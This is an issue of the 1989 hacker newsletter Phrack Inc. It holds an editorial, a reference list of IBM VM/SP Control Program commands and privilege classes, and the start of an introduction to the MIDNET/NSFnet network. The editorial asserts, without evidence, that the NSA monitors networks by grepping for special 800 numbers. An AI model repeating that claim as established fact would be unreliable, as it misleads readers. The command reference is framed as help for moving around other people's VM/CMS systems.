==Phrack Inc.==

Volume Three, Issue 27, File 1 of 11

Phrack Inc. Newsletter Issue XXVII Index

June 20, 1989

Greetings and welcome to Issue 27 of Phrack Inc. The pressure is on with SummerCon '89 just a couple short days away. We're sorry it has taken so long to get this issue out, but summer break has created more responsibilities and busy schedules than we have ever had to deal with while in school. Still, I think you will agree that this issue was worth the wait.

This issue we feature a new updated NUA and Datex-P list from Oberdaemon of Switzerland and Chapter 7 of the Future Transcendent Saga (taking into account that the SPAN and NSFnet files were chapters 5 and 6). We also present the second part of the COSMOS file written by King Arthur.

Before we get to the main contents of the issue, we have a few comments to make regarding security and Phrack Inc.'s Internet access;

Thanks to a friend, we at Phrack Inc. have become aware of one of the main techniques that the National Security Agency (NSA) uses to perform surveillance on the wide area networks.

In certain messages that certain government agencies distribute, special phone numbers are included; WATS (800) numbers, to be more specific. As these messages are distributed around the continent via various netmail and file transfer schemes, they are passed through several surveillance stations. All of their stations perform one function, and in Unix terms, that function is called "grep."

Grep stands for G>lobal R>egular E>xpression search and P>rint. The grep does simple string matching. Every instance of these special 800-numbers in an email message (or batch of them) is flagged, recorded, and the record is mailed to certain intelligence agencies by the surveillance stations.

Here are the networks that we are reasonably certain that this practice is performed on:

- * USEnet : Email is only checked in certain places, but ALL netnews (including alt and any other nonstandard newsgroups) are flagged by a single government domain SUN-3 that shall remain nameless.
- * ARPAnet : All mail going through a standard BBN (Bolt, Bernack, and Neumann... a Cambridge/MIT spinoff) Internet controller will be flagged, but the only information recorded by the controller is the source and destination TCP/IP addresses of the message. But when you consider that this involves ***ALL*** DARPA mailing lists, you get a visualization of the magnitude. The reason more complex information is NOT recorded is that this network is the only AUTHORIZED place that these messages with the hot WATS are supposed to appear. You will see what this means in a moment.
- * BITnet : Large IBM mainframe with I/O channel cycles to spare should have no problem scanning mail from one of the most publically accessable "free" networks.
- * Fidonet: The Secret Service scans this for credit card and other violations. It is not too hard for them to check for the (800)'s, too.
- * W.Union : All international telex lines are scanned to match a whole lot of stuff, especially drug-related information. The phone numbers are on their list.

We have other suspicions, but we are withholding them for now.

The other news is equally disturbing because it strikes us a little close to home. We are temporarily losing our network access. As of June 27, 1989 through August 28, 1989 we will not have access to our accounts on UMCVMB mainframe system. Make no attempt to mail us to our addresses there until

1.txt Tue Oct 05 05:46:35 2021

August 28, 1989. However, every cloud has a silver lining and this is no exception. For networks people who wish to submit files to Phrack Inc. during this time period we proudly present our friend and associate, Hatchet Molly. He can be reached at "TKOGRM2@NIU.BITNET" and/or "TKOGRM2%NIU.BITNET@CUNYVM.CUNY.EDU".

So here is to another great issue of Phrack Inc!

Taran King

Knight Lightning

Hatchet Molly
TK0GRM2@NIU.BITNET
TK0GRM2%NIU.BITNET@CUNYVM.CUNY.EDU

Table of Contents:

- 1. Phrack Inc. XXVII Index by Taran King and Knight Lightning
- 2. Operating The IBM VM/SP CP by Taran King
- 3. Introduction To MIDNET: Chapter Seven Of The FTS by Knight Lightning
- 4. NUA List For Datex-P And X.25 Networks by Oberdaemon
- 5. COSMOS: COmputer System for Mainframe OperationS (Part Two) by King Arthur
- 6. Looking Around In DECnet by Deep Thought
- 7. The Making Of A Hacker by Framstag
- 8. Sending Fakemail In Unix by Dark OverLord
- 9. The Postal Inspection Service by Vendetta
- 10. Phrack World News XXVII/Part 1 by Knight Lightning
- 11. Phrack World News XXVII/Part 2 by Knight Lightning
- 12. Phrack World News XXVII/Part 3 by Knight Lightning

2.txt

==Phrack Inc.==

Volume Three, Issue 27, File 2 of 12

Operating the IBM VM/SP CP

(IBM Virtual Machine System Product Control Program)

An information article researched by

Taran King

May 18, 1989

This article is for the purpose of understanding the Control Program (CP) portion of $IBM's\ VM/SP$. This is basically a separate section of VM/CMS known as CP (with full screen editors, the CP level is indicated in the lower right hand corner of the screen and for line-by-line editors, before the command line and after hitting carriage returns, it should say "CP") and it's purpose is to manage real resources. Any command that involves something outside of your virtual machine must communicate with CP. If CMS does not recognize a command you give it, it will give it to CP.

The user generally enters the CP stage after a program flops or if you get disconnected. You can also enter the CP stage by hitting PA1 which is a function key of sorts. PA1 toggles between CP and CMS while on-line and if you re-login after being disconnected, PA1 can be used besides the BEGIN command which will be spoken about later in this article.

Generally, VM/CMS systems are well equipped with help files so if anything I print becomes unclear to you, from CMS mode, type HELP CP XXX where XXX is the CP command you want information on.

To start this article off, I'm printing off the IBM-Defined Class and the Function Types as listed in the IBM VM/SP CP manual. This essentially tells you what privileges you have with your assigned class.

IBM-Defined Class	Function Type	User & Functions
A	0	Operations: The primary sysop can issue all class A commands. The class A user controls the VM/SP system. Class A is assigned to the user at the VM/SP system console during IPL. The primary sysop is responsible for the availability of the VM/SP system and its communication lines and resources. In addition, the class A user controls system accounting, broadcast messages, virtual machine performance options, and other command operands that affect the overall performance of the VM/SP. The sysop controls operation of the real machine using the system control panel and console device. NOTE: The class A sysop who is automatically logged on during CP initialization is designated as the primary sysop.
В	R	Resource: The system resource operator can issue all class B commands. The class B user controls allocation and deallocation of all the real resources of the VM/SP system, except those controlled by the primary sysop and spooling operator.
С	Р	Programmer: The system programmer can issue all class C commands. The class C user

Α

С

G

ANY

E

G

ANY

updates certain functions of the VM/SP system. The system programmer can modify real storage in the real machine.

S Spooling: The spooling operator can issue all class D commands. The class D user controls spool data files and specific functions of the system's unit record equipment.

Analyst: The system analyst can issue all class E commands. The class E user displays the contents of real storage, performs the functions required to generate saved systems and discontiguous saved segments, and controls the collecting and recording of performance measurement data. This class of user can display specified real storage areas on the virtual operator's console or on a spooled virtual printer, but cannot modify real storage.

Customer Engineer: The service representative can issue all class F commands. The class F user obtains, and examines, in detail, certain data about input and output devices connected to the VM/SP system. The service representative can establish extensive recording mode for one I/O device at a time and can cause the recording of repressible machine check errors to be initiated or resumed.

General: The general user can issue all class G commands. The class G user controls functions associated with the execution of his virtual machine. A general user cannot display or modify real storage.

The ANY classification is given to certain CP commands that are available to any user. These are primarily for the purpose of gaining and relinquishing access to the VM/SP system.

The following is the list of commands available along with a brief description as to what they do and/or formatting and then ending with the IBM-Defined Class and Function Type.

 * : From CP, one may use the * command to annotate the terminal console sheet $^{\sim}$ or the terminal display screen with a comment. In other words, type * and then any string of characters you would, for some reason, to be present on the screen thereafter.

Privilege Class: ANY Function Type: N/A

#CP: This command is used to execute a CP Command while in a virtual machine command environment without first signaling attention to get to the CP command environment which means that when typing \003P <command> to perform a CP operation, CP directly receives the command whereas CP <command> merely queues the command from CP.

Privilege Class: ANY Function Type: ANY

ACNT : The ACNT command is used to create accounting records for logged on users and to reset accounting data. It also closes a spool file that is accumulating accounting records.

Privilege Class: A

Function Type: 0

ADSTOP: The ADSTOP command is used to halt the execution of a virtual machine at a virtual instruction point. The hexloc variable may be placed after the word ADSTOP which is a 6 character hexadecimal representation of the virtual instruction address where the execution is to be halted. The OFF option of the ADSTOP command cancels any previous ADSTOP setting.

Privilege Class: G Function Type: G

ATTN : Use the ATTN command to make an attention interruption pending at your $\tilde{\ \ \ }$ virtual console.

Privilege Class: G Function Type: G

AUTOLOG : This command allows the user to log on any virtual machine defined in the directory.

Privilege Level: A, B Function Type: O

BACKSPAC: The BACKSPAC command is used to restart or reposition the current output on a real punch or printer.

Privilege Class: D Function Type: S

BEGIN or B: The BEGIN command by itself from CP mode will return the user to CMS mode in the place where he/she left off before he/she was disconnected or thrown into CP. The BEGIN command can also be followed by a hex location as to where to start in the case of the user wanting to be doing something other than what was previously occurring.

Privilege Class: G Function Type: G

CHANGE or CH : In use of the CHANGE command, there are subcommands with variables. Generally, the "name" variable is 1 to 4 characters in length. The following are the subcommands with functions and formatting:

- o READER or RDR : changes reader spool files.
- o PRINTER or PRT : changes printer spool files.
- o PUNCH or PCH : changes punch spool files.
- o CLASS c1: designates an existing class where c1 is a 1-character alphanumerical field from A to Z or 0 to 9.
- o spoolid: spoolid number of file that is to be changed.
- o FORM form1 : 1 to 8 character alphanumeric form name used to select files to be changed (form1).
- o ALL: changes all of your spool files.
- o HOLD: prevents a file from being printed, punched, or read until released.
- o NOHOLD : releases the specified file from the user's HOLD status.
- o DIST dist : changes the distribution code to variable "dist".
- o COPY(*)nnn: specifies number of copies of the file you want spooled, which is valid only for printer or punch files. "nnn" is a number from 1 to 255 and the "*" is present in the case of a 3800 printer being used so that copies will be made in the printer internally.
- o FLASH name nnn: signifies that a form's overlay contained in the 3800 printer is to be superimposed onto certain pages of output. "nnn" is a number from 0 to 255 representing the number of copies to be superimposed.
- o MODIFY name (n): allows text alteration by preventing information printing or by adding labels to output. "n" selects a keyword in CHARS to be used for copy modification text.
- o CHARS name1 (name2(name3(name4)))
 - CHARS name1(CH names2(CH names3(CH names4))) : specifies character arrangement table when printing a file. There can be up to 4 names.
- o FCB name : controls vertical spacing of output on a page.
- o FORM form2 : changes spool form name of file to form2.
- o NAME fn (ft) : assigns identification to spool file in CMS format filename and filetype.

o NAME dsname: assigns identification to spool file in non-CMS format where "dsname" is from 1 to 24 characters, suitable for

specifying OS or DOS files.

Privilege Class: S, G Function Type: D, G

CLOSE or C : The CLOSE command terminates spooling activity on any virtual spooled unit record or console device. It Contains the following subcommands to be followed by the letter C or the word CLOSE:

- o READER or RDR
- o PRINTER or PRT
- o PUNCH or PCH
- o FORM form1
- o HOLD
- o NOHOLD
- o DIST dist
- o NAME fn (ft)
- o NAME dsname
- vaddr : virtual address (cuu) of device to be closed.
- o CONSOLE : closes virtual machine's console spool file which makes it a printer spool file.
- o PURGE: closes and immediately purges from the virtual machine the output spool files. No output file is produced.
- o CHAIN: only valid for VM/SP HPO Release 4.2 and Profs Spool File Enhancement PRPQ. Indicates that the punchfile is to be chained.

Privilege Class: G Function Type: G

COMMANDS or COMM : Use COMMAND to list the commands and diagnose codes you are authorized to use.

Privilege Class: ANY

Function Type: ANY

COUPLE: Using the COUPLE command connects your virtual non-dedicated channel-to-channel device to another user's virtual device of the same type or to another one of your own virtual devices of the same type. The format of this command is in the form of COUPLE vaddr1 TO userid vaddr2. The variable vaddr1 is your virtual address and the variables userid vaddr2 identify the userid and virtual address of that userid to be connected to. Privilege Class: G

Function Type: G

CP : The CP command may precede the command to be processed, but it is not necessary. Generally, the CP command is used from CMS mode to queue CP functions by typing CP <command>.

Privilege Class: ANY Function Type: ANY

CPTRAP: The CPTRAP command creates a reader file of a selected trace table, ~~~~~~ CP interface, and virtual machine interface entries for problem determination.

Privilege Class: C Function Type: P

 $\ensuremath{\mathsf{DCP}}$: This command displays the contents of real storage locations at the terminal.

Privilege Class: C, E Function Type: P

DEFINE or DEF: The DEFINE command in CP is used to alter your virtual machine configuration or channel operating mode. There are a LOT of subcommands that are used with the DEFINE command such as RDR or PRT or PCH and the list goes on and on. If you want details, there is a help file (type HELP CP DEF) that is almost 600 lines that goes into detail on each subcommand.

Privilege Class: B, G Function Type: R, G 2.txt

DETACH or DET: The DETACH command is used to remove a virtual device from the virtual machine. The subcommands are as follows:

- o vaddr (vaddr...) : used for multiple addresses to be detached where vaddr is the virtual address (cuu) of the device to be detached.
- o vaddr-vaddr : used to detach a range of addresses.
- o CHANNEL c : detaches the real address of the channel.

Privilege Class: B, G Function Type: R, G

DIAL: Using the DIAL command logically connects a switched line, leased line, ~~~~ locally attached, or remote Binary Synchronous (BSC) terminal to a previously logged-on multiple-access virtual machine. It is in the format of DIAL userid (vaddr) where the userid is that to be connected to and the vaddr is the optional virtual address.

Privilege Class: ANY Function Type: ANY

DISABLE : The DISABLE command prevents low speed communications lines from $\tilde{accessing}$ the system.

Privilege Class: A, B Function Type: R

DISCONN or DISC: The DISCONNECT command is used to disconnect your terminal from the system while the virtual machine continues operation. Using the DISC HOLD or DISC HO option, you specify that the communications line is not to be disabled which allows you to avoid re-dialing the system.

Privilege Class: ANY Function Type: ANY

DISPLAY or D: The DISPLAY command allows you to display virtual machine components at your terminal. Depending on what variable follows the D or DISPLAY command from CP, you can display virtual storage locations, storage keys, general registers, floating-point registers, control registers, vector registers, VAC (Vector Activity Counter), VSR (Vector Status Register), VMR (Vector Mask Register), PSW (Program Status Word), CAW (Channel Address Word), and CSW (Channel Status Word).

Privilege Class: G Function Type: G

DMCP : This command prints the contents of real storage locations on a user's $\tilde{\ }$ virtual spooled printer.

Privilege Class: C, E Function Type: P

DRAIN : The DRAIN command stops spooling operations on a specified real unit's $\tilde{\ }$ read devices after the file currently being processed has been completed.

Privilege Class: D Function Type: S

DUMP or DU: Use the DUMP command to print the contents of various components of the virtual machine on the virtual spooled printer. Depending on what variable is placed after the DUMP or DU command, the items printed include virtual PSW (Program Status Word), general registers, floating-point registers, control registers, storage keys, and virtual storage locations.

Privilege Class: G Function Type: G

ECHO or EC: Defaulted at 1, the ECHO command places the terminal in the echo environment in which any line entered is transmitted unchanged back to the terminal a specified number of times, depending on the variable entered immediately after the word ECHO or EC.

Privilege Type: G Function Type: G

ENABLE: Use the ENABLE command to enable the previously disabled or nonabled devices so users may access the system.

Privilege Class: A, B Function Type: R

2.txt

EXTERNAL or EXT: The EXTERNAL command allows the user to simulate an external interrupt to the virtual machine and to return control to that machine. The hexadecimal code following the word EXTERNAL or EXT is associated with the external interrupt, the default being the number 40 which is associated with the external interrupt button on a system console.

Privilege Class: G Function Type: G

FLUSH: The FLUSH command halts and immediately purges on hold the current output on a specified unit record device.

Privilege Class: D Function Type: S

 ${\tt FORCE}$: This command forces a logoff of any user of the system.

Privilege Class: A Function Type: O

FREE : Use the FREE command to remove a set of spool files belonging to a $\tilde{}$ specified user from a system hold status.

Privilege Class: D
Function Type: S

 ${\tt HALT}$: The HALT command terminates any active channel program on a specified $\tilde{\ \ }$ real device.

Privilege Class: A Function Type: O

 ${\tt HOLD}$: The ${\tt HOLD}$ command places user spool files in a system hold status.

Privilege Class: D Function Type: S

INDICATE or IND: At your terminal, you can display the use of and contention for major system resources with the INDICATE command. The following variables that follow the word INDICATE or IND show the following data:

- o LOAD: shows number of users in queue 1 and queue 2, the usage of real storage, and the ratio of active users to users being serviced.

 This is done by returning values that indicate operating load on the system.
- o USER: displays the amounts of system resources used by your virtual machine in the current terminal session.

Privilege Class: A, E, G Function Type: O, A, G

- o vaddr : virtual address (cuu) of the device that contains the nucleus to be loaded.
- o cylno: cylinder containing the IPL data which defaults to 0.
- o nnnnn: block address containing the IPL data which defaults to 0.
- o CLEAR: sets virtual storage space to binary zeros before the operating system is loaded.
- o NOCLEAR: allows contents of your virtual storage space to remain unchanged prior to program load.
- o STOP : halts the virtual machine during the IPL procedure just before the initial PSW is loaded.
- o ATTN : generates an attention interrupt to the virtual machine during the \mbox{IPL} procedure.
- o PARM p1 (p2...): processes up to 64 bytes of data to your virtual machine's general registers starting with the high order byte of general register 0.
- o $\,$ systemname : simulates IPL function when loading a named system that was

previously saved.

Privilege Class: G Function Type: G

2.txt

LINK: The LINK command is used to make a device that is associated with another virtual machine available at your virtual machine configuration based upon info in that user's directory entry. This command is in the format of LINK TO userid vaddr1 AS vaddr2 (mode) ((PASS=) password(1)).

Privilege Class: G Function Type: G

LOADBUF: On a 1403 printer, the LOADBUF command loads the Universal Character $^{\sim\sim\sim\sim\sim}$ Set (UCS) with a specified print train or chain image. On a 3203, 3211, 3212, 4245, or 4248 printer, it loads the UCS or the Forms Control Buffer (FCB) with a specified image. On a 3289 Model 4 printer, it loads the Font Offset Buffer (FOB) with the image print belt and the FCB.

Privilege Class: D Function Type: S

LOADVFCB : This command specifies the forms control buffer image for different virtual spooled printers. The variables that follow it include:

o vaddr

- o FCB : required reserved keyword meaning Forms Control Buffer.
- o name : a name that is system defined.
- o INDEX (nn) : place initial printing position in number nn for the 3211 printer.

Privilege Class: G Function Type: G

LOCATE : Use the LOCATE command to find the addresses of CP control blocks associated with a particular user, a user's device, or a real system .

Privilege Class: C, E Function Type: P

LOCK : This command permanently locks in selected pages of real storage.

Privilege Class: A Function Type: O

LOGOFF or LOGOUT or LOG: Used to terminate a virtual machine session and disconnect your virtual machine from the system, this command can be used with the HOLD option (i.e. LOG HOLD) for retaining the connection allowing for a switched communications line to enable one to log on without re-dialing the system.

Privilege Class: ANY Function Type: ANY

LOGON or LOGIN or L: Obvious enough, the LOGIN or LOGON command is used to identify yourself to the system and to access that system. Following the words LOGIN or LOGON or L, type your userid which is the identifier assigned to you in the system. If the system you are logging onto does NOT have password suppression, your password can follow directly after your userid. NOTE: If the system you are on does have password suppression (i.e. it does not echo to your screen what you type when you type your password), you will get a system error message if you try to put it on the same line as your userid. The NOIPL option, which would follow your password and userid, specifies that the IPL device or name in the directory should not be used for an automatic IPL.

Privilege Class: ANY Function Type: ANY

MESSAGE or MSG or M: Use the MESSAGE command to transmit message text to a specified userid or to the primary system operator userid. MSG userid msgtext sends msgtext to the userid specified after userid. If userid is replaced with *, the text is sent to yourself. Also, if the userid is replaced with OPERATOR, the message text is sent to the primary system operator regardless of his userid.

Privilege Class: A, B, ANY

Q

Function Type: O, ANY

MIGRATE: The MIGRATE command activates the normal page/swap table migration routines or forces a particular user's pages to a secondary device

even if that user is currently active.

Privilege Class: A Function Type: O

MONITOR: To initiate or override the system-generated function or to terminate the recording of events occurring in the real machine, use

the MONITOR command.
Privilege Class: A, E
Function Type: O

MESSAGE command.
Privilege Class: Function Type: R

NETWORK: The NETWORK command allows you to load, dump and control operation of a 3704 or 3705 and to control operation of a 3725 control program operating in 270x emulation mode (EP). Also, it allows control of remote 3270 devices via binary synchronous lines.

Privilege Class: A Function Type: O

NOTREADY or NOTR : Using the NOTREADY command causes the virtual device, which is specified after the NOTREADY statement via cuu address,

to appear as if it had changed from ready to not ready status.

Privilege Class: G Function Type: G

ORDER or ORD : ORDER is used to place your closed spool files in a specific order by device type. These spool files include READER, PRINTER, and PUNCH files and can be sorted by CLASS, FORM, and spoolid.

Privilege Class: D, G Function Type: S, G

PER: PER allows one to monitor certain events as they occur during program execution in the user's virtual machine. This command can monitor the fetching and execution of an instruction, the execution of a successful branch instruction, the instruction of an instruction that alters a specific general purpose register, and the execution of an instruction in the virtual machine that alters storage.

Privilege Class: A, B, C, D, E, F, G

Function Type: G

PURGE or PUR: Use the PURGE command to remove your own closed spool files from the system before they are printed or punched by the spooling devices, or before they are read by a user. The spool file specifications include READER, PRINTER, and PUNCH files as well as the ALL option which purges all of the above mentioned files.

Privilege Class: D, G Function Type: S, G

QUERY or Q: Also available in CMS mode, the QUERY command is used to determine your system status and machine configuration. Although there are far too many subcommands of the QUERY command, the following is a list of items that may be queried. I recommend, for full detail, using the HELP CP QUERY command as it is quite thorough (over 1000 lines) in explaining the QUERY command.

- o The time you have used during a terminal session.
- $\ensuremath{\text{o}}$ The number of closed input and output spool files associated with your virtual machine.
- o The current settings of the color and/or extended highlight values in effect for your virtual machine console.
- o $\,$ The current settings of the SET command functions.
- o The current settings of the TERMINAL command functions.

2.txt

- o The status of all the devices on your virtual machine.
- o The channel operating mode of your virtual machine, whether block-multiplexer or selector.
- o A listing of all users who are linked to a given virtual address, together with their device addresses and access modes.
- o Display of the secondary user (secuser) that is specified in the CONSOLE directory statement.
- o Identification and attributes associated with your virtual PRINTER, PUNCH, and READER spool files.
- o The identification of your virtual processor.
- o The mode of processor operation of your VM/SP HPO installation: uniprocessor mode (UP), attached processor mode (AP), or multiprocessor mode (MP).
- o The userid and system identifier.
- o A listing of the PER traceset elements.
- o The log messages of the day.
- o The names of the users that are logged on.
- o The number of users that are logged on or dialed to the system.

NOTE: There are other operands you can use with the QUERY command if you have the privilege class required to use them.

Privilege Class: A, B, C, D, E, F, G Function Type: O, R, P, S, A, C, G

 ${\tt QVM}$: Use this command to request the transition from the VM/SP environment to native mode for a particular virtual machine.

Privilege Class: A Function Type: O

READY: In the format of READY vaddr, this command is used to set a device-end interruption pending for the specified virtual device.

Privilege Class: G Function Type: G

REPEAT: Use the REPEAT command to increase the number of copies of an output $\tilde{\ }$ file or to place the current output file in a hold status increasing or not increasing the number of copies to be created.

Privilege Class: D Function Type: S

REQUEST or REQ : Simply use the REQUEST command to make an attention interrupt at your virtual console.

Privilege Class: G Function Type: G

RESET: Also in the format of RESET vaddr, this command is used to clear all pending interrupts from the specified virtual device.

Privilege Class: G Function Type: G

REWIND or REW: The REWIND command is used to rewind a real tape unit attached to your virtual machine at a specified virtual device address in the format REWIND vaddr.

Privilege Class: G Function Type: G

SAVESYS : This command allows you to save a virtual machine storage space with registers and the PSW as they currently exist. It is used in the

process of creating named systems.

Privilege Class: E Function Type: A

SCREEN or SCRE: Use the SCREEN command to alter or change any extended color and/or extended highlight definitions for your virtual machine console. You may issue the command from any IBM supported terminal or from a PROFILE EXEC because the SCREEN command is not device dependent. However, the SCREEN command is only valid when the Extended Color Feature has been applied to the terminal controller.

You can assign extended color and extended highlighting values to six distinct

display screen areas: the input area, the system status area, and the output area that encompasses three other areas: CP output, virtual machine output, virtual machine output, and an input redisplay area. The physical attributes of 3270 Information Display station screens vary according to model.

Because this command mainly applies to people who are not on dial-up, I have elected not to detail all of the variables available with the SCREEN command. Once again, I recommend you using HELP CP SCREEN for details.

Privilege Class: G Function Type: G

2.txt

 ${\tt SEND}$: Using the Single Console Image Facility, the ${\tt SEND}$ command is used to pass commands and message replies for the secondary user's console to disconnect virtual machines for execution. This command is executed in the format: SEND (CP) userid (text).

Privilege Class: G Function Type: G

SET: Use the SET command to control various functions within your virtual system. This command has a large number of variables that can be SET and details for each of the variables can be obtained from the HELP CP SET file.

Privilege Class: A, B, E, F, G Function Type: O, R, A, C, G

SHUTDOWN: This command, of course, systematically ends all virtual machine functions and checkpoints the system for an eventual warn start.

Privilege Class: A Function Type: 0

SLEEP or SL: To place the virtual machine in a dormant state but allow messages to be displayed, use the SLEEP command in the format of SLEEP nn (time-specification) where time-specification is SEC for seconds, MIN for minutes, or HR for hours and nn is the number of the amount of time for the machine to be in dormant state.

Privilege Class: G Function Type: G

SMSG or SM : The SMSG command is used to send a special message to a virtual machine programmed to accept and process the message. The format of this command is SMSG userid msgtext where userid is the userid to receive the message and msqtext is the message to be sent to the userid.

Privilege Class: G Function Type: G

SPACE: Use the SPACE command to force the output on a specified printer to be single spaced for the current active spool file regardless of the carriage control commands in the actual file.

Privilege Class: D Function Type: S

 ${\tt SPMODE}$: ${\tt SPMODE}$ allows the system operator to establish or reset the single processor mode environment.

Privilege Class: A Function Type: 0

SPOOL or SP: Use the SPOOL command to modify the spooling control options in effect for a given virtual spooling device or for a group of devices. The SPOOL command can also start or stop the spooling of virtual console input and output. You can direct a file to a remote location by using the SPOOL command in conjunction with the TAG command.

Privilege Class: G Function Type: G

SPTAPE : Use this command to dump spool files to tape or to load spool files from tape.

Privilege Class: D Function Type: S

START: The START command restarts a spooling device after it has been drained

or changes the output class that it may service.

Privilege Class: D Function Type: S

2.txt

STCP : To alter the contents of real storage but not real PSW or real

registers, use the STCP command.

Privilege Class: C Function Type: P

STORE or ST: The STORE command is used to alter the contents of specified registers and locations of the virtual machine. As well as saving virtual machine data in low storage, the contents of the following can be altered:

- o Virtual storage locations
- o General registers
- o Floating-point registers
- o Control registers
- o Program Status Word (PSW)

Privilege Class: G Function Type: G

SYSTEM or SYS: SYSTEM is used to simulate the action of the RESET and RESTART buttons on the real computer console, and to clear storage. The variables are as follows:

- o CLEAR: clears virtual storage and virtual storage keys to binary zeros.
- o RESET: clears all pending interrupts and conditions in the virtual machine.
- o RESTART: simulates the hardware system RESTART function by storing the current PSW at virtual location eight and loading, as the new PSW, the doubleword from virtual location zero.

Privilege Class: G Function Type: G

TAG or TA: The TAG has many different variables that can be tagged, which are too many to list here because of different settings for each one, but it is used to associate file descriptive information with a spool file. Privilege Class: G

Function Type: G

TERMINAL or TERM : The TERMINAL command is used to control the following functions associated with your virtual console:

- o Logical line-editing symbols
- o Masking of password
- o The APL character set
- o The Text character set
- o Signaling of an attention interrupt
- o Attention handling mode for your virtual console
- o Line length for output on your virtual console
- o Specifying terminal device type as 3101 or TTY
- o Location of cursor preceding terminal read
- o Scrolling rate for 3101 terminal

Privilege Class: G Function Type: G

TRACE or TR: Use the TRACE command to trace specified virtual machine activity and to record the results at the terminal, on a virtual spooled printer, or on both terminal and printer. If you issue more than one TRACE command, the operands are cumulative; that is, operands specified for the first time are activated, whereas those specified with new modifiers are updated. The RUN and NORUN operands, however, can be specified in different tracing functions and do not cause a conflict.

You cannot issue the TRACE command while preferred machine assist is operating, whether or not you have enabled the preferred machine assist feature's control switch assist.

Privilege Class: (Function Type: G

TRANSFER or TRAN : This command is used to transfer your closed spool files to a specified user or queue, or to reclaim closed spool files

that you created. Privilege Class: D, G Function Type: S, G

UNLOCK: Use the UNLOCK command to unlock page frames previously locked by a LOCK command.

Privilege Class: A Function Type: 0

VARY: The VARY command marks a device available or unavailable for use by a user or the control program.

Privilege Class: B

Function Type: R VMDUMP or VMD: The VMDUMP command dumps virtual storage that VM/SP HPO creates for the virtual machine user. VMDUMP dumps the

following:

o Virtual Program Status Word (PSW)o General registers

o Floating-point registers

o Control registers

o Storage protection keys

o Virtual machine type identification

o Timer values Privilege Class: G Function Type: G

WARNING: Use the WARNING command to transmit high-priority messages to a

specified user or to all users.

Privilege Class: A, B Function Type: 0

This article is far from totally complete as far as in-depthness goes. As I have stated in numerous portions of this file, the VM/CMS system has a very good HELP file system, and from CMS, the command HELP CP <command> will, in most cases, allow you to read a relatively clear text file containing the details and usage specifications of these commands. I hope that, should you be moving around a VM/CMS system, this file will assist you in the CP mode.

For those that wish to contact me for commentary on this file topic or other topic conversation, you can send e-mail to my network addresses:

Internet: C488869@UMCVMB.MISSOURI.EDU

Bitnet: C488869@UMCVMB.BITNET

==Phrack Inc.==

Volume Three, Issue 27, File 3 of 12

<><><>	·<><><><>	<><>
<>		<>
<>	Introduction to MIDNET	<>
<>	~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~	<>
<>	Chapter Seven Of The Future Transcendent Saga	<>
<>		<>
<>	A More Indepth Look Into NSFnet	<>
<>	National Science Foundation Network	<>
<>		<>
<>	Presented by Knight Lightning	<>
<>	June 16, 1989	<>
<>		<>
<><><>	·<><><>	<><><>

Prologue

If you are not already familiar with NSFnet, I would suggest that you read:

"Frontiers" (Phrack Inc., Volume Two, Issue 24, File 4 of 13), and definitely;
"NSFnet: National Science Foundation Network" (Phrack Inc., Volume Three,
Issue 26, File 4 of 11).

Table Of Contents

* Introduction

- * The DOD Protocol Suite
- * Names and Addresses In A Network
- * Telnet (*NOT* Telenet)
- * File Transfer
- * Mail

Introduction

~~~~~~~~~

MIDNET is a regional computer network that is part of the NSFnet, the National Science Foundation Network. Currently, eleven mid-United States universities are connected to each other and to the NSFnet via MIDnet:

UA - University of Arkansas at Fayetteville

ISU - Iowa State University at Ames

UI - University of Iowa at Iowa City

KSU - Kansas State University at Manhattan

 $\ensuremath{\text{KU}}$  - University of Kansas at Lawrence

UMC - University of Missouri at Columbia

WU - Washington University at St. Louis, Missouri

UNL - University of Nebraska at Lincoln

OSU - Oklahoma State University at Stillwater

UT - University of Tulsa (Oklahoma)

OU - University of Oklahoma at Norman

Researchers at any of these universities that have funded grants can access the six supercomputer centers funded by the NSF:

John Von Neuman Supercomputer Center
National Center for Atmospheric Research
Cornell National Supercomputer Facility
National Center for Supercomputing Applications
Pittsburgh Supercomputing Center
San Diego Supercomputing Center

In addition, researchers and scientists can communicate with each other over a vast world-wide computer network that includes the NSFnet, ARPAnet, CSnet, BITnet, and others that you have read about in The Future Transcendent Saga. Please refer to "Frontiers" (Phrack Inc., Volume Two, Issue 24, File 4 of 13)

for more details.

MIDnet is just one of several regional computer networks that comprise the NSFnet system. Although all of these regional computer networks work the same, MIDnet is the only one that I have direct access to and so this file is written from a MIDnet point of view. For people who have access to the other regional networks of NSFnet, the only real differences depicted in this file that would not apply to the other regional networks are the universities that are served by MIDnet as opposed to:

NYSERnet in New York State

SURAnet in the southeastern United States

SEQSUInet in Texas

BARRnet in the San Francisco area

MERIT in Michigan

(There are others that are currently being constructed.)

These regional networks all hook into the NSFnet backbone, which is a network that connects the six supercomputer centers. For example, a person at Kansas State University can connect with a supercomputer via MIDnet and the NSFnet backbone. That researcher can also send mail to colleagues at the University of Delaware by using MIDnet, NSFnet and SURAnet. Each university has its own local computer network which connects on-campus computers as well as providing a means to connecting to a regional network.

Some universities are already connected to older networks such as CSnet, the ARPAnet and BITnet. In principal, any campus connected to any of these networks can access anyone else in any other network since there are gateways between the networks.

Gateways are specialized computers that forward network traffic, thereby connecting networks. In practice, these wide-area networks use different networking technology which make it impossible to provide full functionality across the gateways. However, mail is almost universally supported across all gateways, so that a person at a BITnet site can send mail messages to a colleague at an ARPAnet site (or anywhere else for that matter). You should already be somewhat familiar with this, but if not refer to;

"Limbo To Infinity" (Phrack Inc., Volume Two, Issue 24, File 3 of 13) and "Internet Domains" (Phrack Inc., Volume Three, Issue 26, File 8 of 11)

Computer networks rely on hardware and software that allow computers to communicate. The language that enables network communication is called a protocol. There are many different protocols in use today. MIDnet uses the TCP/IP protocols, also known as the DOD (Department of Defense) Protocol Suite.

Other networks that use TCP/IP include ARPAnet, CSnet and the NSFnet. In fact, all the regional networks that are linked to the NSFnet backbone are required to use TCP/IP. At the local campus level, TCP/IP is often used, although other protocols such as IBM's SNA and DEC's DECnet are common. In order to communicate with a computer via MIDnet and the NSFnet, a computer at a campus must use TCP/IP directly or use a gateway that will translate its protocols into TCP/IP.

The Internet is a world-wide computer network that is the conglomeration of most of the large wide area networks, including ARPAnet, CSnet, NSFnet, and the regionals, such as MIDnet. To a lesser degree, other networks such as BITnet that can send mail to hosts on these networks are included as part of the Internet. This huge network of networks, the Internet, as you have by now read all about in the pages of Phrack Inc., is a rapidly growing and very complex entity that allows sophisticated communication between scientists, students, government officials and others. Being a part of this community is both exciting and challenging.

